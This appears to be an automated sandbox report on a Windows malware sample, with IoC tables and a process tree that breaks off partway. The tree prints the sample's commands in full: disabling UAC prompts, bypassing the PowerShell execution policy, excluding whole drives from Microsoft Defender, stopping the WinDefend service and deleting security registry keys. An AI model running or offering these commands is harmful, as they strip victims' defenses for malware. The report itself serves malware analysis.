Runs ping.exe 1 TTPs 4 IoCs

Remote System Discovery

T1018

pid	Process
1388	PING.EXE
4984	PING.EXE
5432	PING.EXE
4484	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4796	powershell.exe
4796	powershell.exe
2980	powershell.exe
2980	powershell.exe
4796	powershell.exe
2980	powershell.exe
2132	powershell.exe
2132	powershell.exe
2132	powershell.exe
2496	powershell.exe
2496	powershell.exe
552	powershell.exe
552	powershell.exe
552	powershell.exe
2932	powershell.exe
2932	powershell.exe
2084	powershell.exe
2084	powershell.exe
4284	PowerShell.exe
4284	PowerShell.exe
2412	powershell.exe
2412	powershell.exe
4284	PowerShell.exe
2412	powershell.exe
5488	powershell.exe
5488	powershell.exe
5512	powershell.exe
5512	powershell.exe
2244	powershell.exe
2244	powershell.exe
4536	powershell.exe
4536	powershell.exe
4092	powershell.exe
4092	powershell.exe
5432	powershell.exe
5432	powershell.exe
3468	powershell.exe
3468	powershell.exe
5984	powershell.exe
5984	powershell.exe
752	powershell.exe
752	powershell.exe
752	powershell.exe
5684	powershell.exe
5684	powershell.exe
5684	powershell.exe
1780	WMIC.exe
1780	WMIC.exe
1780	WMIC.exe
1780	WMIC.exe
3224	powershell.exe
3224	powershell.exe
3224	powershell.exe
4852	powershell.exe
4852	powershell.exe
4852	powershell.exe
2604	powershell.exe
2604	powershell.exe
2604	powershell.exe
3676	powershell.exe
3676	powershell.exe
3676	powershell.exe
3264	WMIC.exe
3264	WMIC.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	2980	powershell.exe
Token: SeDebugPrivilege	2132	powershell.exe
Token: SeDebugPrivilege	2496	powershell.exe
Token: SeDebugPrivilege	552	powershell.exe
Token: SeDebugPrivilege	2932	powershell.exe
Token: SeDebugPrivilege	2084	powershell.exe
Token: SeDebugPrivilege	4284	PowerShell.exe
Token: SeDebugPrivilege	2412	powershell.exe
Token: SeDebugPrivilege	5804	tasklist.exe
Token: SeDebugPrivilege	5256	tasklist.exe
Token: SeDebugPrivilege	5488	powershell.exe
Token: SeDebugPrivilege	5512	powershell.exe
Token: SeIncreaseQuotaPrivilege	5512	powershell.exe
Token: SeSecurityPrivilege	5512	powershell.exe
Token: SeTakeOwnershipPrivilege	5512	powershell.exe
Token: SeLoadDriverPrivilege	5512	powershell.exe
Token: SeSystemProfilePrivilege	5512	powershell.exe
Token: SeSystemtimePrivilege	5512	powershell.exe
Token: SeProfSingleProcessPrivilege	5512	powershell.exe
Token: SeIncBasePriorityPrivilege	5512	powershell.exe
Token: SeCreatePagefilePrivilege	5512	powershell.exe
Token: SeBackupPrivilege	5512	powershell.exe
Token: SeRestorePrivilege	5512	powershell.exe
Token: SeShutdownPrivilege	5512	powershell.exe
Token: SeDebugPrivilege	5512	powershell.exe
Token: SeSystemEnvironmentPrivilege	5512	powershell.exe
Token: SeRemoteShutdownPrivilege	5512	powershell.exe
Token: SeUndockPrivilege	5512	powershell.exe
Token: SeManageVolumePrivilege	5512	powershell.exe
Token: 33	5512	powershell.exe
Token: 34	5512	powershell.exe
Token: 35	5512	powershell.exe
Token: 36	5512	powershell.exe
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeIncreaseQuotaPrivilege	2244	powershell.exe
Token: SeSecurityPrivilege	2244	powershell.exe
Token: SeTakeOwnershipPrivilege	2244	powershell.exe
Token: SeLoadDriverPrivilege	2244	powershell.exe
Token: SeSystemProfilePrivilege	2244	powershell.exe
Token: SeSystemtimePrivilege	2244	powershell.exe
Token: SeProfSingleProcessPrivilege	2244	powershell.exe
Token: SeIncBasePriorityPrivilege	2244	powershell.exe
Token: SeCreatePagefilePrivilege	2244	powershell.exe
Token: SeBackupPrivilege	2244	powershell.exe
Token: SeRestorePrivilege	2244	powershell.exe
Token: SeShutdownPrivilege	2244	powershell.exe
Token: SeDebugPrivilege	2244	powershell.exe
Token: SeSystemEnvironmentPrivilege	2244	powershell.exe
Token: SeRemoteShutdownPrivilege	2244	powershell.exe
Token: SeUndockPrivilege	2244	powershell.exe
Token: SeManageVolumePrivilege	2244	powershell.exe
Token: 33	2244	powershell.exe
Token: 34	2244	powershell.exe
Token: 35	2244	powershell.exe
Token: 36	2244	powershell.exe
Token: SeDebugPrivilege	4536	powershell.exe
Token: SeIncreaseQuotaPrivilege	4536	powershell.exe
Token: SeSecurityPrivilege	4536	powershell.exe
Token: SeTakeOwnershipPrivilege	4536	powershell.exe
Token: SeLoadDriverPrivilege	4536	powershell.exe
Token: SeSystemProfilePrivilege	4536	powershell.exe
Token: SeSystemtimePrivilege	4536	powershell.exe
Token: SeProfSingleProcessPrivilege	4536	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 1712	2080	2026-10-07_65779ff541d2a2103f7600ab41722beb_amadey_coinminer_darkgate_elex_gcleaner_glassworm_hijack.exe	90
PID 2080 wrote to memory of 1252	2080	2026-10-07_65779ff541d2a2103f7600ab41722beb_amadey_coinminer_darkgate_elex_gcleaner_glassworm_hijack.exe	92
PID 1712 wrote to memory of 3136	1712	cmd.exe	94
PID 1252 wrote to memory of 5704	1252	cmd.exe	95
PID 1252 wrote to memory of 4796	1252	cmd.exe	96
PID 1712 wrote to memory of 1128	1712	cmd.exe	97
PID 1712 wrote to memory of 2980	1712	cmd.exe	98
PID 4796 wrote to memory of 240	4796	powershell.exe	99
PID 240 wrote to memory of 5408	240	cmd.exe	101
PID 240 wrote to memory of 4928	240	cmd.exe	102
PID 240 wrote to memory of 2132	240	cmd.exe	103
PID 2132 wrote to memory of 5508	2132	powershell.exe	104
PID 240 wrote to memory of 3448	240	cmd.exe	106
PID 5508 wrote to memory of 2496	5508	cmd.exe	107
PID 240 wrote to memory of 4484	240	cmd.exe	108
PID 2496 wrote to memory of 6088	2496	powershell.exe	109
PID 6088 wrote to memory of 552	6088	cmd.exe	111
PID 240 wrote to memory of 1388	240	cmd.exe	112
PID 240 wrote to memory of 4984	240	cmd.exe	113
PID 240 wrote to memory of 2932	240	cmd.exe	114
PID 240 wrote to memory of 4124	240	cmd.exe	115
PID 240 wrote to memory of 5432	240	cmd.exe	116
PID 2932 wrote to memory of 3252	2932	powershell.exe	117
PID 3252 wrote to memory of 5548	3252	cmd.exe	119
PID 3252 wrote to memory of 1384	3252	cmd.exe	120
PID 3252 wrote to memory of 2084	3252	cmd.exe	121
PID 2084 wrote to memory of 4284	2084	powershell.exe	122
PID 3252 wrote to memory of 2412	3252	cmd.exe	124
PID 3252 wrote to memory of 2628	3252	cmd.exe	126
PID 3252 wrote to memory of 5024	3252	cmd.exe	127
PID 3252 wrote to memory of 4204	3252	cmd.exe	128
PID 3252 wrote to memory of 3400	3252	cmd.exe	129
PID 3252 wrote to memory of 3708	3252	cmd.exe	130
PID 3252 wrote to memory of 4696	3252	cmd.exe	131
PID 3252 wrote to memory of 5804	3252	cmd.exe	132
PID 3252 wrote to memory of 5796	3252	cmd.exe	133
PID 3252 wrote to memory of 5256	3252	cmd.exe	135
PID 3252 wrote to memory of 5300	3252	cmd.exe	136
PID 3252 wrote to memory of 2204	3252	cmd.exe	137
PID 3252 wrote to memory of 5456	3252	cmd.exe	138
PID 3252 wrote to memory of 5488	3252	cmd.exe	139
PID 5488 wrote to memory of 1632	5488	powershell.exe	140
PID 1632 wrote to memory of 5512	1632	cmd.exe	142
PID 3252 wrote to memory of 2772	3252	cmd.exe	143
PID 3252 wrote to memory of 296	3252	cmd.exe	144
PID 3252 wrote to memory of 4960	3252	cmd.exe	145
PID 3252 wrote to memory of 248	3252	cmd.exe	146
PID 3252 wrote to memory of 2624	3252	cmd.exe	147
PID 3252 wrote to memory of 3256	3252	cmd.exe	247
PID 3252 wrote to memory of 1880	3252	cmd.exe	149
PID 3252 wrote to memory of 4928	3252	cmd.exe	150
PID 3252 wrote to memory of 5708	3252	cmd.exe	151
PID 3252 wrote to memory of 3480	3252	cmd.exe	250
PID 3252 wrote to memory of 4616	3252	cmd.exe	153
PID 3252 wrote to memory of 2984	3252	cmd.exe	154
PID 3252 wrote to memory of 1524	3252	cmd.exe	155
PID 3252 wrote to memory of 4236	3252	cmd.exe	156
PID 3252 wrote to memory of 5748	3252	cmd.exe	157
PID 3252 wrote to memory of 5148	3252	cmd.exe	158
PID 3252 wrote to memory of 2956	3252	cmd.exe	159
PID 3252 wrote to memory of 3488	3252	cmd.exe	160
PID 3252 wrote to memory of 4452	3252	cmd.exe	161
PID 3252 wrote to memory of 5992	3252	cmd.exe	162
PID 3252 wrote to memory of 5288	3252	cmd.exe	163

Views/modifies file attributes 1 TTPs 57 IoCs

Hidden Files and Directories

T1564.001

pid	Process
2052	attrib.exe
3180	attrib.exe
5404	attrib.exe
4948	attrib.exe
4692	attrib.exe
4000	attrib.exe
5236	attrib.exe
3876	attrib.exe
4172	attrib.exe
2520	attrib.exe
1676	attrib.exe
4408	attrib.exe
5096	attrib.exe
3704	attrib.exe
1368	attrib.exe
692	attrib.exe
5476	attrib.exe
4508	attrib.exe
4560	attrib.exe
2736	attrib.exe
1304	attrib.exe
5460	attrib.exe
5560	attrib.exe
5284	attrib.exe
4308	attrib.exe
6020	attrib.exe
1380	attrib.exe
2380	attrib.exe
5008	attrib.exe
3004	attrib.exe
5172	attrib.exe
4540	attrib.exe
5604	attrib.exe
2236	attrib.exe
4552	attrib.exe
3968	attrib.exe
2396	attrib.exe
1128	attrib.exe
2188	attrib.exe
2676	attrib.exe
2868	attrib.exe
2412	attrib.exe
2108	attrib.exe
3792	attrib.exe
868	attrib.exe
3036	attrib.exe
5080	attrib.exe
4556	attrib.exe
3764	attrib.exe
4432	attrib.exe
4364	attrib.exe
3872	attrib.exe
1280	attrib.exe
2456	attrib.exe
4976	attrib.exe
2576	attrib.exe
2440	attrib.exe

C:\Users\Admin\AppData\Local\Temp\2026-10-07_65779ff541d2a2103f7600ab41722beb_amadey_coinminer_darkgate_elex_gcleaner_glassworm_hijack.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-07_65779ff541d2a2103f7600ab41722beb_amadey_coinminer_darkgate_elex_gcleaner_glassworm_hijack.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\View1.cmd" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1712
- - C:\Users\Admin\AppData\Local\Temp\screen.exe
    "C:\Users\Admin\AppData\Local\Temp\screen.exe" win hide ititle "cmd"
    3⤵
    - Executes dropped EXE
    PID:3136
- - C:\Windows\SysWOW64\attrib.exe
    attrib.exe +h +r +s "C:\Users\Admin\PathView.txt"
    3⤵
    - Views/modifies file attributes
    PID:1128
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -Command "Unblock-File -Path 'C:\Users\Admin\AppData\Local\Temp\screen.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2980
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Pictures\View2.cmd" "
  2⤵
  - Executes a command shell one-liner
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1252
- - C:\Users\Admin\AppData\Local\Temp\screen.exe
    "C:\Users\Admin\AppData\Local\Temp\screen.exe" win hide ititle "cmd"
    3⤵
    - Executes dropped EXE
    PID:5704
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command "& {Start-Process -FilePath C:\Windows\System32\cmd.exe -ArgumentList '/c Set mized1=1&Call C:\Users\Public\Pictures\View2.cmd' -windowstyle hidden}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4796
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c Set mized1=1&Call C:\Users\Public\Pictures\View2.cmd
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:240
    - - C:\Users\Admin\AppData\Local\Temp\screen.exe
        
        "C:\Users\Admin\AppData\Local\Temp\screen.exe" win hide ititle "cmd"
        5⤵
        Executes dropped EXE
        
        PID:5408
    - - C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe query "HKCU\Software\Microsoft\Windows"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4928
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\uac.cmd' -windowstyle hidden"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2132
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\uac.cmd" "
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5508
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command "Start-Process C:\Windows\System32\cmd.exe -ArgumentList '/c C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe Set-Itemproperty -Path REGISTRY::HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0' -Verb RunAs -windowstyle hidden -Wait"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2496
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe Set-Itemproperty -Path REGISTRY::HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0
        8⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:6088
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe Set-Itemproperty -Path REGISTRY::HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System -Name ConsentPromptBehaviorAdmin -Value 0
        9⤵
        UAC bypass
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:552
    - - C:\Windows\SysWOW64\timeout.exe
        
        C:\Windows\System32\timeout.exe /t 1
        5⤵
        Delays execution with timeout.exe
        
        PID:3448
    - - C:\Windows\SysWOW64\PING.EXE
        
        C:\Windows\System32\ping.exe 192.168.1.1 -n 2
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4484
    - - C:\Windows\SysWOW64\PING.EXE
        
        C:\Windows\System32\ping.exe 192.168.1.1 -n 1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1388
    - - C:\Windows\SysWOW64\PING.EXE
        
        C:\Windows\System32\ping.exe 192.168.1.1 -n 1
        5⤵
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:4984
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command "& {Start-Process -FilePath C:\Windows\System32\cmd.exe -ArgumentList '/c Set mized1=2&Call "C:\Users\Public\Pictures\..cmd"' -Verb RunAs -windowstyle hidden}"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2932
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c Set mized1=2&Call C:\Users\Public\Pictures\..cmd
        6⤵
        Drops file in System32 directory
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3252
        
        C:\Users\Admin\AppData\Local\Temp\screen.exe
        
        "C:\Users\Admin\AppData\Local\Temp\screen.exe" win hide ititle "cmd"
        7⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:5548
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe query "HKCU\Software\Microsoft\Windows"
        7⤵
        
        PID:1384
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command "Start-Process C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -ArgumentList 'Set-ExecutionPolicy Unrestricted -Force' -Verb RunAs -windowstyle hidden"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2084
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\PowerShell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe" Set-ExecutionPolicy Unrestricted -Force
        8⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4284
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -ExecutionPolicy Bypass -Command "Write-Host 'Script running with Execution Policy bypassed'"
        7⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2412
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" /f
        7⤵
        
        PID:2628
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" /v "ExecutionPolicy" /t REG_SZ /d Bypass /f /reg:64
        7⤵
        
        PID:5024
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" /v "ExecutionPolicy" /t REG_SZ /d Bypass /f
        7⤵
        
        PID:4204
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3400
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" /v "ExecutionPolicy" /t REG_SZ /d Bypass /f /reg:64
        7⤵
        
        PID:3708
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" /v "ExecutionPolicy" /t REG_SZ /d Bypass /f
        7⤵
        
        PID:4696
        
        C:\Windows\SysWOW64\tasklist.exe
        
        C:\Windows\System32\tasklist.exe /FI "IMAGENAME eq RtkAudio.exe"
        7⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:5804
        
        C:\Windows\SysWOW64\findstr.exe
        
        C:\Windows\System32\findstr.exe /i /c:"RtkAudio"
        7⤵
        
        PID:5796
        
        C:\Windows\SysWOW64\tasklist.exe
        
        C:\Windows\System32\tasklist.exe /FI "IMAGENAME eq Sophos.exe"
        7⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:5256
        
        C:\Windows\SysWOW64\findstr.exe
        
        C:\Windows\System32\findstr.exe /i /c:"Sophos"
        7⤵
        
        PID:5300
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Control\CI\Policy" /v "VerifiedAndReputablePolicyState" /t REG_DWORD /d "0" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2204
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe add "HKLM\System\CurrentControlSet\Control\CI\Policy" /v "VerifiedAndReputablePolicyState" /t REG_DWORD /d "0" /f /reg:64
        7⤵
        
        PID:5456
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command "Start-Process 'C:\Users\Admin\AppData\Local\Temp\stwinvr.cmd' -verb runas -windowstyle hidden"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Modifies registry class
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5488
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\stwinvr.cmd"
        8⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1632
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:"
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:5512
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2244
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Public"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4536
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4092
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\ProgramData"
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5432
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Windows"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3468
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe Set-MpPreference -ExclusionExtension bat
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5984
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe Set-MpPreference -ExclusionExtension cmd
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:752
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe Set-MpPreference -ExclusionExtension exe
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5684
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command Set-MpPreference -MAPSReporting Disable
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3224
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -Command Set-MpPreference -SubmitSamplesConsent NeverSend
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:4852
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -command Set-MpPreference -PUAProtection disable
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2604
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -command Set-MpPreference -ScanScheduleDay "8"
        9⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3676
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -command Set-MpPreference -HighThreatDefaultAction "9"
        9⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5984
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -command Set-MpPreference -ModerateThreatDefaultAction "9"
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:2556
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -command Set-MpPreference -LowThreatDefaultAction "9"
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:1448
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe -command Set-MpPreference -SevereThreatDefaultAction "9"
        9⤵
        Command and Scripting Interpreter: PowerShell
        System Location Discovery: System Language Discovery
        
        PID:5940
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        C:\Windows\System32\WindowsPowerShell\v1.0\PowerShell.exe Set-MpPreference -DisableRealtimeMonitoring $true
        9⤵
        Command and Scripting Interpreter: PowerShell
        Disables one or more Microsoft Defender components
        
        PID:5812
        
        C:\Windows\SysWOW64\net.exe
        
        NET.exe stop windefend
        9⤵
        
        PID:3040
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop windefend
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:2544
        
        C:\Windows\SysWOW64\sc.exe
        
        C:\Windows\System32\SC.exe config windefend start=disabled
        9⤵
        Launches sc.exe
        
        PID:5044
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f /reg:64
        7⤵
        
        PID:2772
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f
        7⤵
        
        PID:296
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v TeamViewer /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4960
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v TeamViewer /f
        7⤵
        
        PID:248
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Taskmgr.exe" /f
        7⤵
        
        PID:2624
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f /reg:64
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:3256
        
        C:\Windows\SysWOW64\reg.exe
        
        C:\Windows\System32\reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1880
        
        C:\Windows\SysWOW64\reg.exe
        
